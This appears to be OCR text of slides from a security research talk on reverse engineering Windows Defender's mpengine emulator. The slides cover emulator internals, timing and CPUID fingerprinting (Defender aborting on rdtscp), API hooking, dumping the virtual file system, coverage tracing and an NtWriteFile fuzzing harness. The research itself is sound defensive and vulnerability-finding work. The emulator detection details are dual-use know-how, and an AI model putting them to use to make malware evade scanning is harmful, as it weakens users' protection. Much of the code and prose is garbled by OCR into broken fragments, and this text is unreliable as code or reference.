:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ping\objfre\i386\ping.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\wscript\objfre\i386\wscript.pdb
:\MPEngine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Microsoft.VisualBasic\Microsoft.VisualBasic.pdb
:\MPEngine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Data\System.Data.pdb
:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System\System.pdb
:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Windows.Forms\System.Windows.Forms.pdb
:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Drawing\System.Drawing.pdb
:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime\System.Runtime.pdb
:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Windows\Windows.pdb
:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\VFramework\mscorlib\mscorlib.pdb
:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Xml\System.Xml.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\rundl132\objfre\i386\rundl132.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\explorer\objfre\i386\explorer.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lsass\objfre\i386\1lsass.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winlogon\objfre\i386\winlogon.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\write\objfre\i386\write.pdb

\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime.InteropServices.WindowsRuntime\System.Runtime.InteropServices.WindowsRuntime.pdb



Fake Config Files

C:\\WINDOWS\system.ini

; for 1l6-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA .FON=EGA80WOA . FON
EGA40WOA.FON=EGA40WOA . FON
CGA80WOA .FON=CGA8OWOA . FON
CGA40WOA .FON=CGA40WOA . FON

[drivers]
wave=mmdrv.dl1l

timer=timer.drv

[mci]

C:\\WINDOWS\win.ini

; for 16-bit app support
[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1

MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1

[MCI Extensions.BAK]
alif=MPEGVideo
aifc=MPEGVideo
aiff=MPEGVideo
asf=MPEGVideo
asx=MPEGVideo
au=MPEGVideo

mlv=MPEGVideo
m3u=MPEGVideo
mp2=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo
mpa=MPEGVideo
mpe=MPEGVideo
mpeg=MPEGVideo
mpg=MPEGVideo
mpv2=MPEGVideo
snd=MPEGVideo
wax=MPEGVideo
wm=MPEGVideo
wma=MPEGVideo
wmv=MPEGVideo
wmx=MPEGVideo
wpl=MPEGVideo
wvx=MPEGVideo



Wininet.d1l1 vdll

Minimal internet connectivity emulation with wininet.dl1l

int  stdcall InternetReadFile(int hFile,

{

int result; // eax

MpReportEvent(12294, B, 8);
if ( g_readFrom )

{

*1pdwNumber0fBytesRead = @;

umbe
result = 1;

}

else

{

g readFrom = 1;
result = ReadFile(hFile, 1pBuff
¥

return result;

\U“l&iiﬂt al, int

MpReportEvent (12293,
dobSAStartup();

a2, 0);

int lpBuffer,

= A
oL,

int dwNumberOfBytes

int a3

3

g
neada
=g,

File on local file
system is used to
simulate interaction
with handles to
internet resources

return CreateFileA("C:\\INTERNAL\\REMOTE.EXE", GENERIC_READ, @, @, 4, FILE _ATTRIBUTE NORMAL, ©);




Tlmlng En::iu:l __fastcall vmp32 esc cpuid lee every Other AV emUIator

CPU tick count needs [ I've looked at, Defender

native_Il_context *v3; // STAl .
(o N oJ-NU[oJoF-iuTo Mo Ulalal-d 36 conmon_context *vd; // ea aborts execution on rdtscp
instruction execution

and OS emulation

L

oC-»native IL ctx; r x86 *DTProcessor; // ebx@l
- = s o J DLEesso 3 2L o
vZ->m_vticks32 += 24; P ) (DTProcessor

void
{

DT _context “Ul; [/ eax@l

bool ul, // bl@l

char *v3; [/ ~a:j

Vir T]ﬂl"' “wi; [/ ecx@l
CAutoVticks Tl-a-, /! [sp+Ch] [bp-48h]@l
unsigned int nBytesRead; // [sp+18h] [bp-3Ci
Parameter 5; a'_, ff [sp+1Ch] [bp-38h]@l
int v8; // 6h] [bp-4h]@l

__cdecl NTDLL_DLL_VFS_Read(pe_vars_

unsigned  int64 ti:i_:GJTt; // [sp-Ch] [bp-44h]@l
CAutoVticks vticks; // [sp+Ch] [bp-2Ch]@3
Parameters<1> arg; // 1Ch] [bp-1Ch]@1

int v12; // | 34h] _;;—;=:§3

Parameters<l»::Parameters<ls»(&arg, v);
DlProceccor = v->iproc;
tick count = arg.m_Arg[8].val32 << 21;

CPU tick = DTProcessor-»vfptr-»>CPU tlck

if ( CPU tick == DTProcessor_x86: CPU_tlck )

Parameters<5>::Parameters<5>(&arz, v);
v-svticks32 += 512;

viticks.m vticks = 32

“ks.m o init wvticks = &v-»vticks32;
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libdislocator

voidx __dislocator_alloc(size_t len) {
voidx ret;
uint32_t currentAllocationLen;

l ibdi S locator iS a a”ocator included With AFL currentAllocationLen = (1 + PG_COUNT(len + 8)) x PAGE_SIZE;
that does allocation in a way likely to increase the ret = map(MLL, currentallocationten, PROT_GEAD | PROTMRITE,

discovery rate for heap-related bugs

Since it's open source and implemented as
in a simple single C file, we can easily drop
in 1ibdislocator code to instrument

Windows heap APl implementations in
loadlibrary

Source:
github.com/mirrorer/afl/tree/
master/libdislocator

| integrated 1ibdislocator code (not published) into:

loadlibrary/peloader/winapi/Heap.cC

(ret == (voidx)-1) {
(hard_fail) FATAL("mmap() failed on alloc (00M?)");
DEBUGF ("mmap() failed on alloc (00M?)");
printf("skx alloc %d failed (0OM?) **kx\n", len);
NULL;
}

(mprotect(ret + PG_COUNT(len + 8) % PAGE_SIZE, PAGE_SIZE, PROT_NONE))
FATAL("mprotect() failed when allocating memory");

AppendMalloc(ret, currentAllocationLen);

{

void * MALLOC(DWORD dwBytes)

void x ptr = NULL;

dwBytes += 4;
(g_DislocatorHeapOn)

ptr = 1d_malloc(dwBytes);
(ptr)

*((uint32_tx)ptr) = MpDislocMagic;

{
ptr = malloc(dwBytes);
(ptr)

*((uint32_tx)ptr) = MpNormalMagic;
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Scanning with mpclient



Scanning with mpclient

$ Cat eicar.com
X50 ! P%@AP [4\PZX54(P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+Hx$ l



Scanning with mpclient

$ cat eicar.com

X50 ! P%@AP [4\PZX54 (P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+Hx$
$ ./mpclient eicar.com

main(): Scanning eicar.com...

EngineScanCallback(): Scanning input

EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified.

Y |



Demo

Lighthouse Usage



Traci ng TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage

__rsignal (..., RSIG BOOTENGINE, ..)




Tracing TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage

RSIG SCAN STREAMBUFFER, ..)

__rsignal (..., RSIG BOOTENGINE, ..) __rsignal(...,




Tracing TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage

RSIG SCAN STREAMBUFFER, ..)

__rsignal (..., RSIG BOOTENGINE, ..) __rsignal(...,




Tracing TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Hooking Defender’s emulation Tavis Ormandy’s deepcover Pintool

functions for WinExec and github.com/taviso/loadlibrary/tree/master/coverage

ExitProcess allows us to know
when emulation starts and stops*

Binary calls hooked
*ExitProcess is called at the end of every WinExec emulation

emulation session automatically - | believe this is .
because setup pe vstack puts it at the bottom with params for start

of the call stack, even for binaries that do not
explicitly return to it

Binary Emulation

__rsignal (..., RSIG BOOTENGINE, ..) __rsignal(..., RSIG SCAN STREAMBUFFER, ..)



Tracing TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Hooking Defender’s emulation Tavis Ormandy’s deepcover Pintool

functions for WinExec and github.com/taviso/loadlibrary/tree/master/coverage

ExitProcess allows us to know
when emulation starts and stops*

Binary calls hooked
*ExitProcess is called at the end of every WinExec emulation

emulation session automatically - | believe this is .
because setup pe vstack puts it at the bottom with params for start

of the call stack, even for binaries that do not
explicitly return to it

Emulator calls
ExitProcess

Binary Emulation

__rsignal (..., RSIG BOOTENGINE, ..) __rsignal(..., RSIG SCAN STREAMBUFFER, ..)



Tracing TI me"ne Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from

Hooking Defender’s emulation Tavis Ormandy’s deepcover Pintool

functions for WinExec and github.com/taviso/loadlibrary/tree/master/coverage

ExitProcess allows us to know
when emulation starts and stops*

Binary calls hooked
*ExitProcess is called at the end of every WinExec emulation

emulation session automatically - | believe this is .
because setup pe vstack puts it at the bottom with params for start

of the call stack, even for binaries that do not
explicitly return to it

Emulator calls
ExitProcess

Binary Emulation

Collect coverage
information

__rsignal (..., RSIG BOOTENGINE, ..) __rsignal(..., RSIG SCAN STREAMBUFFER, ..)



Pintool Tracing

$ cat ./trace.sh

#!/bin/sh

CMD="cov/pin -t cov/pin-mp/obj-ia32/CodeCoverage.so —— ./mpclient -v 218 -f
./test.exe -z 3"

echo $CMD
eval $CMD

$ i



Pintool Tracing

$ ./trace.sh

cov/pin -t cov/pin-mp/obj-ia32/CodeCoverage.so —— ./mpclient -v 218 -f ./te
st.exe -z 3

CodeCoverage tool by Agustin Gianni (agustingianni@gmail.com)
Logging code coverage information to: trace.log

Loaded image: 0x0000000008048000:0x0000000008069ca7 —> mpclient
[P] Found CovInitTraceCallback

[P] Found CovStopTraceExitProcessCallback

Loaded image: 0x00000000f7fd9000:0x00000000f7ffafd3 —> ld-1linux.so0.2
Loaded image: 0x00000000f7fd8000:0x00000000f7fd8c2e —> [vdsol
Loaded image: 0x000000001f543d000:0x00000000f55f2alb —> 1ibc.s0.6
[x] Log level set to S_UPDATE

[x] Initial seed set to 0x5b0b0546 (1527448902)

[x] Version set to 218

[x] Running once

[x] NumberRuns: 1

[x] Function #3 - WriteFile

[!']

[!]==> MpEngine.dll base at 0xf39df008

[!']

[!']

[!]==> Logging to file seeds/seeds-1527448902



Loading Coverage File

A g IDA - mpengine7.idb (mpengine.dll) C\Users\alex\Desktop\mplatest\mpengine7.idb

File | Edit Jump Search View Debugger Options Windows Help
Mew instance
Open...
Load file Reload the input file

Produce file © Additional binary file... _
’ v-1 (A] Structures ]

set ?*mmap@VBPEMapper@@UAEPBE_KI@Z

Script file... Alt+F7 IDS/1DT file...

Script command... Shift+F2 PDE file...

Save Ctrl+W DBG file...

Save as... TDS file...

Take database snapshot... Ctrl+Shift+W | [#  FLIRT signature file... ) ?_EMSILPEMappe ’YE(“'U":"-EPAXI(‘”Z 3

?? RACustomKCRCManager@@6B@ ;

“vftable’

Ouiick start Code coverage file... dd offset ?? ECustomKCRCManager@@UAEPAXI@Z

Code coverage batch... DAT REF: CustomKCRCManager

Close Parse C header file... Ctrl+F9

sers\alex’\Desktop\mplatest\mpengine7.idb



IDA Analysis

w» IDA - mpengine7.idb (mpengine.dll) C:\Users\alex\Desktop\mplatest\mpengine7.idb
File Edit Jump Search View Debugger Options Windows Help
SH e->- | A & 3w @b @ of k@ F-F e X > O O [Nodebugger v | % E‘ g

Library function ll Regular function [l Instruction Data Unexplored External symbol

[7] Functions window 08 x DA View-A B3 [©] Hex view-1 [A] structures E Enums ¥E Imports ] Exports [=] coverage Overview
call ?getFileObject@ObjectManager@@QAEPAUFileObject@l@KPAX@Z ctMa 3 i =
[7] sub_sa17FFac mov [ebp+var_68], eax Coverage % Function Name ‘
(7] sub_sa1sssEs Fest eax, eax - KERNEL32 DLL_MpReportEventEx (pe_vars_t *) 0xSASF4BCO =~ 1
(7] ruilsub_1 jz loc_SA5D9DFF [ NTDLL_DLL NtControlChannel (pe_vars_t *) 0x5RA564560
E nullsub_6 4.08 NIDLL_DLL NtCreateFileWorker(pe_vars_t *) 0x5A560540
E nullsub_S 89.4 NIDLL_DLL NtWriteFileWorker(pe_vars_t *) 0xSASDIC40
(7] nulsub_a bl e =
[7] sub_sa2csapc eax, [eax]
[7] sub_sa2cs24 esi, [eax+28h]
[7] sub_sa344260 ecx, esi ; this
[£] sub_sa34424€ ds:__ guard_check_icall fptr ; sistUserDatabas back: :~PersistUserDatab
[7] sub_sa344387 ecx, [ebp+var_68]
[7] sub_sA344437 esi
7] sub_sazaea73 eax, 50000002h

%] ﬁuLLz: 3344: : i loc_S5ASD9E27
Ssul .

Function name ~

[7) sub_sa344scs il s =

[7] sub_sA344779 esi, [ebp+var_2C]

[F] sub_sa34488A eax, esi

[7] sub_sA344890 ecx, dword ptr [ebp+var_28]

[7] sub_sazs4cac eax, ecx

[7] sub_54344C35 j loc_SA78A679

[F] sub_sa34acac

[7] sub_sa344c98
b_5A344CA0
ub_5A344CED

[7] sub_s4344D30

(z'S“‘U”“DEE v | 5A78A679: ; unsigned _ int64

- Lunwind { // loc_5A66D481
Line 16 of 33364 h ecx
b, Graph overview n esi ; struct pe_vars_t *
D:EI edx, [ebp+var_6C]
= [ebp+var_6C], ebx
ecx, edi
[ebp+var_70], ebx
?pem_read_dword@@YA_NPAUpe_vars_t@@_KAAK@Z ; pem_read_dword(pe_vars_t *,unsigned int64, ng & < >

ecx

100.00% (393,1365) (7,355) 004D9040 SASDICA40: NTDLL_DLL_NtWriteFileWorker (pe_vars_t %) (Synchronized with Hex View-1)
AU: idle Down Disk: 15G8
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Hooking
OutputDebugStringA



Hooking OutputDebugStringA

® emuhooks.c

<> emuhooks.c x v
raa} rairamcici >V = LIYRAVALPAVAST AVA_railaicici svy,

224 elog(S_DEBUG_VV, "Parameters6:\t\t@x%06x @ %p", pRVAs->RVA_Parameters6, Parameters6);

225

226 Parameters7 = imgRVA(pRVAs—>RVA_Parameters7);

227 elog(S_DEBUG_VV, "Parameters7:\t\t@x%06x @ %p", pRVAs->RVA_Parameters7, Parameters7);

228

229 Parameters8 = imgRVA(pRVAs—>RVA_Parameters8);

230 elog(S_DEBUG_VV, "Parameters8:\t\t0x%06x @ %p", pRVAs—>RVA_Parameters8, Parameters8);

231

232 Parameters9 = imgRVA(pRVAs—>RVA_Parameters9);

233 elog(S_DEBUG_VV, "Parameters9:\t\t@x%06x @ %p", pRVAs->RVA_Parameters9, Parameters9);

234

235 FP_pe_set_return_value = imgRVA(pRVAs->RVA_pe_set_return_value);

236 elog(S_DEBUG_VV, "pe_set_return_value:\t0x%06x @ %p", pRVAs—>RVA_pe_set_return_value, FP_pe_set_return_value);
237

238 FP_pe_read_string_ex = imgRVA(pRVAs->RVA_pe_read_string_ex);

239 elog(S_DEBUG_VV, "pe_read_string_ex:\t\t0x%06x @ %p", pRVAs—>RVA_pe_read_string_ex, FP_pe_read_string_ex);
240

241 FP__mmap_ex = imgRVA(pRVAs—>RVA___mmap_ex) ;

242 elog(S_DEBUG_VV, "__mmap_ex:\t\t\t0Ox%06x @ %p", pRVAs->RVA___mmap_ex, FP__mmap_ex);

243

244

245 pWinExec = imgRVA(pRVAs->RVA_FP_WinExec);

246 elog(S_DEBUG_VV, "WinExec:\t\t\t@x%06x @ Ox%x", pRVAs->RVA_FP_WinExec, *(pWinExec));

247 *pWinExec = (uint32_t)KERNEL32_DLL_WinExec_hook;

248 elog(S_DEBUG_VV, "WinExec Hooked:\t\t@x%x", *(pWinExec));

249

250

251 pOutputDebugStringA = imgRVA(pRVAs—>RVA_FP_OutputDebugStringA);

252 elog(S_DEBUG_VV, "OutputDebugStringA:\t\t@x%06x @ @x%x", pRVAs—>RVA_FP_OutputDebugStringA, *(pOutputDebugStringA));
253 *pOutputDebugStringA = (uint32_t)KERNEL32_DLL_OutputDebugStringA_hook;

254 elog(S_DEBUG_VV, "OutputDebugStringA Hooked:\t@x%x", *(pOutputDebugStringA));

255

256

257 pExitProcess = imgRVA(pRVAs—>RVA_FP_ExitProcess);

258 originalExitProcess = (EmulatedFunctionRoutine)*pExitProcess;

259 elog(S_DEBUG_VV, "ExitProcess:\t\t0x%06x @ @0x%x", pRVAs—>RVA_FP_ExitProcess, *(pExitProcess));

260 *pExitProcess = (uint32_t)KERNEL32_DLL_ExitProcess_hook;

261 elog(S_DEBUG_VV, "ExitProcess Hooked:\t\t@x%x", *(pExitProcess));

262 elog(S_DEBUG_VV, "Remember there are two ExitProcess pointers in syscall_table - but the hooked one seems to be the one");
263

264 elog(S_UPDATE, "Hooks Set!");

265 }

266

267

268

269

J Line 243, Column paces:
J Line 243, Column 1 S 4 c



Hooking OutputDebugStringA

99
100
101
102
103

emuoffsets.c X
«RVA_peE_seL_leLur

.RVA_FP_OutputDeb

.RVA_FP_ExitProce

.RVA_FP_WinExec =
I

RVAS rvasFeb2018 = {
.MPVERNO = "MP_2_

.RVA_Parametersl
.RVA_Parameters2
.RVA_Parameters3
.RVA_Parameters4
.RVA_Parameters5
.RVA_Parameters6
.RVA_Parameters7
.RVA_Parameters8
.RVA_Parameters9

.RVA___mmap_ex =
.RVA_pe_read_stri
.RVA_pe_set_retur

.RVA_FP_OutputDeb
.RVA_FP_ExitProce
.RVA_FP_WinExec =

[ Line 1, Column1

= emuoffsets.c

fn_vaulue = UxX5Ccouy,

ugStringA = 0x19df0,
ss = 0x19e28,
0x19e80,

23_2018",

0x4942b5,
0x46661b,
0x466fbf,
0x46559d,
0x46407a,
0x4e6037,
0x39f669,
0x460e70,
0x4da023,

0x36f580,
ng_ex = 0x3b8723,
n_value = 0x4665af,

ugStringA = 0xlabco,
ss = 0xlabf8,
@xlac50,

UNREGISTERED



Hooking OutputDebugStringA

int entrypoint()
i
1
OutputDebugStringA("Hello from inside Windows Defender!™);



Hooking OutputDebugStringA

File Edit Options Buffers Tools Sh-Script Help

MPVERNO=

CMD=

echo Running MP $MPVERNO
echo $CMD
eval $CMD

—UU-:————F1 run.sh All L1

— (Shell-script[sh]) ———————————
Indentation setup for shell type sh



Hooking OutputDebugStringA

$ ./run.sh -z 3

Running MP 218

./mpclient -v 218 -f ./test.exe -z 3

[x] Log level set to S_UPDATE

[x] Initial seed set to 0x5b@b0ad9f (1527450271)
[x] Version set to 218

[x] Running once

[x] NumberRuns: 1

[x] Function #3 - WriteFile

[']

[!]==> MpEngine.dll base at 0xf67a3008

[']

[']

[!]==> Logging to file seeds/seeds-1527450271
[']

[+] Setting Hooks

[+] Hooks Set!

main(): Calling D1WMain()

main(): D1Wain done!

main(): Booting Engine!

main(): Engine booted!

main(): Scanning ./test.exe...

[T] ReadStream 0 1000

[T] ReadStream 2000 1800
EngineScanCallback(): Scanning input

[T] ReadStream 1000 2000

[+] ODS: "Hello from inside Windows Defender!"

s I
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Dumping The File System



Dumping The File Syst

$ cat run-demo-3-dumpfs.sh
#!/bin/sh

em

x@alex-mint /mnt/hgfs/sharemp/demos

MPVERNO="218"

CMD="./mpclient -v $MPVERNO -f myapp.exe -z 12 $@"

echo Running MP $MPVERNO
echo $CMD
eval $CMD

s i



Dumping The File Syste

[']

[+] ODS: "C:\\WINDOWS\FONTS"

[E] C:\\WINDOWS\FONTS, mplay32.exe,

[+] ODS: "C:\\WINDOWS\SYSTEM32\mplay32.exe"

[+] ODS: "In DumpFile"

[+] Got OutBuf C:\\WINDOWS\SYSTEM32\mplay32.exe: 0x18c010, len 0x1
[']

[']==> fwrite() wrote 1 of 1 to dumpfs/C:\\WINDOWS\SYSTEM32\mplay32.exe
[']

[+] ODS: "C:\\WINDOWS\FONTS"

[E] C:\\WINDOWS\FONTS, mpnotify.exe,

[+] ODS: "C:\\WINDOWS\SYSTEM32\mpnotify.exe"

[+] ODS: "In DumpFile"

[+] Got OutBuf C:\\WINDOWS\SYSTEM32\mpnotify.exe: 0x18c128, len 0x1
[']

[!]==> fwrite() wrote 1 of 1 to dumpfs/C:\\WINDOWS\SYSTEM32\mpnotify.exe
[']

[+] ODS: "C:\\WINDOWS\FONTS"

[E] C:\\WINDOWS\FONTS, mqgbkup.exe,

[+] ODS: "C:\\WINDOWS\SYSTEM32\mgbkup.exe"

[+] ODS: "In DumpFile"

nint /mnt/hgfs/sharemp/demos



Dumping The File Syste

mint /mnt/hgfs/sharemp/demos

[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\Documents and Settings\JohnDoe\Local Settings\Applicatio

n Data\Microsoft\Windows\__empty: 0xlae570, len 0x1

[']

[']==> fwrite() wrote 1 of 1 to dumpfs/C:\\Documents and Settings\JohnDoe\L
ocal Settings\Application Data\Microsoft\Windows\__empty

[']

[+] ODS: "C:\\Documents and Settings\Administrator\Local Settings\Applicati
on Data\Microsoft\CD Burning"

[E] NULL, __empty,

[+] ODS: "C:\\Documents and Settings\Administrator\Local Settings\Applicati
on Data\Microsoft\CD Burning\__empty"

[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\Documents and Settings\Administrator\Local Settings\Appl

ication Data\Microsoft\CD Burning\__empty: 0xlae758, len 0x1

[!]

[']==> fwrite() wrote 1 of 1 to dumpfs/C:\\Documents and Settings\Administr
ator\Local Settings\Application Data\Microsoft\CD Burning\__empty

[!]

[+] ODS: mnii

[+] ODS: "Done with FS dump!"

Y |



Dumping The File System

alex@alex-mint /mnt/hgfs/sharemp/demos

$ 1s dumpfs/fi



Dumping The File Syste

:\\WINDOWS\SYSTEM32\z_863.nls
: \\WINDOWS\SYSTEM32\z_865.nls
: \\WINDOWS\SYSTEM32\z_866.n1s
:\\WINDOWS\SYSTEM32\z_869.nls
: \\WINDOWS\SYSTEM32\z_874.nls
: \\WINDOWS\SYSTEM32\z_875.nls
: \\WINDOWS\SYSTEM32\z_932.nls
:\\WINDOWS\SYSTEM32\z_936.nls
: \\WINDOWS\SYSTEM32\z_949.nls
: \\WINDOWS\SYSTEM32\z_950.nls
: \\WINDOWS\SYSTEM32\ZIPFLDR.DLL
: \\WINDOWS\System\__empty
:\\WINDOWS\system.ini
:\\WINDOWS\taskman.exe

: \\WINDOWS\TEMP\__empty

: \\WINDOWS\TWAIN_32.DLL
:\\WINDOWS\TWAIN.DLL
:\\WINDOWS\twunk_16.exe
:\\WINDOWS\twunk_32.exe
:\\WINDOWS\Web\__empty
:\\WINDOWS\winhelp.exe
:\\WINDOWS\winh1lp32.exe

nint /mnt/hgfs/sharemp/demos

OOOOOOOOOOOOOOOOOOOO0OOn



Dumping The File Syste

alex@alex-mint /mnt/hgfs/sharemp/demos

$ s dumpfs/ | wc -1
1457

N |
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Disassembling apicall



Disassembling apicall

#i + Open with The Interactive Disassembler

|DAIH oy aHKErTE| S FEDS




Disassembling apicall

IDA - kernel32Feb.mp.dll C:\Users\alex\Desktop\kernel32Feb.mp.dll

S Ei - GG B ) e DO had e » @ O No debugger REGIE N ol R ol
1 . il | | |

Library function [ll Regular function [l Instruction || Data Unexplored ~ External symbol

[#] Functions window o8& x IDA View-A B @ Hex View-1 Structures Enums

<A .text:7C816EF2 loc_7C816EF2: ; CODE XREF: sub_7C83C9FA+44j
MultiByteToWideChar 3 .text:7C816EF2 mov edi, edi

(7] MpStartProcess ) .text:7C816EF4 call  $45

[7] MpCallPreEntryPointCode . -text:7C816EF9 add esp, 4

\z| MpCallPostEntryPointCode . .text:7C816EFC apicall ntdl1!VFS_UnmapViewOfFile

[#] sub_7cao7oea . .text:7(C816F03 retn
[F] MpReportEvent . .text:7C816F03 ) FUNCTION CHUNK
[F] MpReportEventex .text:7C816F06

[F] nulisub_1 . .text:7C816F06

7] 1sBadReadPtr . .text:7C816F06

[7] virtualProtect . _text:7C816F06

7] GetProcaddress . .text:7C816F06 sub_7C816F06 proc near ; CODE XREF: sub_7C83CB1D+164p
7] MpExitThread / .text:7C816F06 mov edi, edi

7] extthread . .text:7C816FO8 call  $45

(7] Mpymp32Fastenter : _text:7C816FOD add esp, 4

Function name

(7] MpimpzEntry _text:7C816F10 apicall ntd11!VFS_FindFirstFile
[7] sub_7cso747a . —

[7] sub_7csoFsaD
[7] sub 7c816A88
<

.text:7C816F17 retn 8
.text:7C816F17 sub_7C816F06 endp
.text:7C816F17

Line 1 of 1404 000162FC 7C816EFC: sub_7C83CIFA-25AFE (Synchronized with Hex View-1)

[Z] output window

FUUND: NTOLLYUFS_UNMapuiewurrile

apicall: NTDLL_DLL_UFS_UnmapViewOfFile @ 6x7c816efc
FOUND: ntdl1tUFS_UnmapViewOfFile

apicall: NTDLL_DLL_UFS_FindFirstFile @ @x7c816f18
FOUND: ntdl1*UFS_FindFirstFile

Propagating type information...

Function argument information has been propagated
The initial autoanalysis has been finished.
apicall: NTDLL_DLL_UFS_UnmapViewOfFile @ 8x7c816efc
FOUND: ntdl1tUFS_UnmapViewDfFile

apicall: NTDLL_DLL_UFS_UnmapViewDfFile @ Ox7c816efc
FOUND: ntdl1tUFS_UnmapView0fFile

apicall: NTDLL_DLL_UFS_FindFirstFile @ 0x7c816f10
FOUND: ntdl1*UFS_FindFirstFile

apicall: NTDLL_DLL_UFS_UnmapViewOfFile @ 8x7c816efc
FOUND: ntd11?UFS_UnmapViewDfFile

apicall: NTDLL_DLL_UFS_UnmapUiew0fFile @ 6x7c816efc
FOUND: ntdl1tUFS_UnmapView0fFile

apicall: NTDLL_DLL_UFS_FindFirstFile @ 0x7c816f18
FOUND: ntdl1t*VUFS_FindFirstFile

Python
AU: idle
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Fuzzing NtiWriteFile

0 e < Windows 8.1 x64

) Fuzzee - &8 X
FuzRoutines.cpp # X -
[l Fuzzee = (Global Scope) -+ @ FuzzNtWriteFile(PFUZZPARAM pl ) -
180 -
+
187 BElvoid Fuzz NtWriteFile(PFUZZPARAM pFuzzParam) -

188 |{

9 = /*

190 NTSTATUS NtWriteFile
191 (
192 HANDLE hFile,
193 HANDLE hEvent, T
194 PIO APC_ROUTINE apc,
195 void* apc_user,
96 PIO_STATUS BLOCK io_ status,
197 const void* buffer,
198 ULONG length,
PLARGE_INTEGER offset,
PULONG key
) -
*/

HANDLE hFile;
HMODULE ntdll;

]
J

typedef NTSTATUS(NTAPI *PNtWriteFile)(
HANDLE,

209 HANDLE,

PVOID,

PVOID,

PIO_STATUS_BLOCK,

PVOID,

ULONG,

PLARGE_INTEGER,

PULONG) ;

NN NN
G

PNtWriteFile ntWriteFile;




Fuzzing NtiWriteFile

0 e < Windows 8.1 x64

) Fuzzee - &8 X
FuzzRoutines.cpp # X -
[ Fuzzee - (Global Scope) ~ @ Fuzz NtWriteFile(PFUZZPARAM p ) -
219 ES
220 OutputDebugStringA("Fuzz NtWriteFile"); 2
221 |
222 ntdll = LoadLibraryA("ntdll.d11");
223 DIEIFNULL(ntdll, "Could not get ntdll!™);
224
225 ntWriteFile = (PNtWriteFile)GetProcAddress(ntdll, "NtWriteFile");
226 DIEIFNULL(ntWriteFile, "Could not get ntwWriteFile!™);
227 i
228 ConfigureFuzzParam(pFuzzParam, 4, "ntdllINtwriteFile™);

//for the filename

pFuzzParam->Params[@].InitParam = ©x1000;
pFuzzParam->Params[@].RawParam = (uint32_t)xAlloc(0x1000);
pFuzzParam->Params[@].Type = ParamTypeString;

//1pBuffer

pFuzzParam->Params[1].InitParam = ©x1000;
pFuzzParam->Params[1].RawParam = (uint32_t)xAlloc(0x1000);
pFuzzParam->Params[1].Type = ParamTypeString;

//1length
pFuzzParam->Params[2].Type = ParamTypeDWORD32;

//offset
pFuzzParam->Params[3].Type = ParamTypeQWORD64;

//numberofBytesWritten
LARGE_INTEGER 1Int = { @ };
I0_STATUS BLOCK ioStatus = { @ };

S =i )



Fuzzing NtiWriteFile

0 e < Windows 8.1 x64

) Fuzzee - &8 X

FuzRoutines.cpp # X

4

= (Global Scope) -+ @ FuzzNtWriteFile(PFUZZPARAM pl ) -
’ 1U_SIAIUS_BLOLK 10STatus = { 9 j; =
=] do {
GetFuzzParams(pFuzzParam);
hFile = CreateFileA(
(LPCSTR)pFuzzParam->Params[@].RawParam,
GENERIC_ALL,
o, o=
NULL, i

CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,

NULL);
B if (hFile == INVALID HANDLE VALUE)
{
FatalkError(“Could not open file");
}

1Int.QuadPart = pFuzzParam->Params[3].RawParam;

ntWriteFile(hFile,
NULL,
NULL,
NULL,
&iostatus,
(PVOID)pFuzzParam->Params[1].RawParam,
(ULONG)pFuzzParam->Params[2].RawParam,
&1Int,
NULL);

GetFuzzParams(pFuzzParam);




Fuzzing NtiWriteFile

0 e < Windows 8.1 x64

) Fuzzee - &8 X
- (Global Scope) ~ @ Fuzz_NtWriteFile(PFUZZPARAM pl ) -
